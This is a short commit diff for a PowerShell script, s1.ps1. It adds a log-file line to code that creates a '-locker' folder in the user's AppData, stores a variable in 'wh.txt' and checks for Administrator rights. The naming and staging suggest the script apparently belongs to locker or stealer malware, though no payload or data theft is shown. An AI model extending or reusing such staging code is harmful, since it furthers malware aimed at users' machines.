Update s1.ps1
This commit is contained in:
parent
51e281106c
commit
ab4e8b7211
1 changed files with 2 additions and 0 deletions
|
@ -1,6 +1,8 @@
|
||||||
if (![System.IO.Directory]::Exists("$env:appdata\-locker")){New-Item -ItemType Directory -Force -Path "$env:appdata\-locker"};
|
if (![System.IO.Directory]::Exists("$env:appdata\-locker")){New-Item -ItemType Directory -Force -Path "$env:appdata\-locker"};
|
||||||
echo $dc > "$env:appdata\-locker\wh.txt";
|
echo $dc > "$env:appdata\-locker\wh.txt";
|
||||||
|
|
||||||
|
if (!$log) { echo $log > "$env:appdata\-locker\log.txt" }
|
||||||
|
|
||||||
function s1 {
|
function s1 {
|
||||||
$user = "$env:COMPUTERNAME\$env:USERNAME"
|
$user = "$env:COMPUTERNAME\$env:USERNAME"
|
||||||
$isAdmin = (Get-LocalGroupMember 'Administrators').Name -contains $user
|
$isAdmin = (Get-LocalGroupMember 'Administrators').Name -contains $user
|
||||||
|
|
Loading…
Reference in a new issue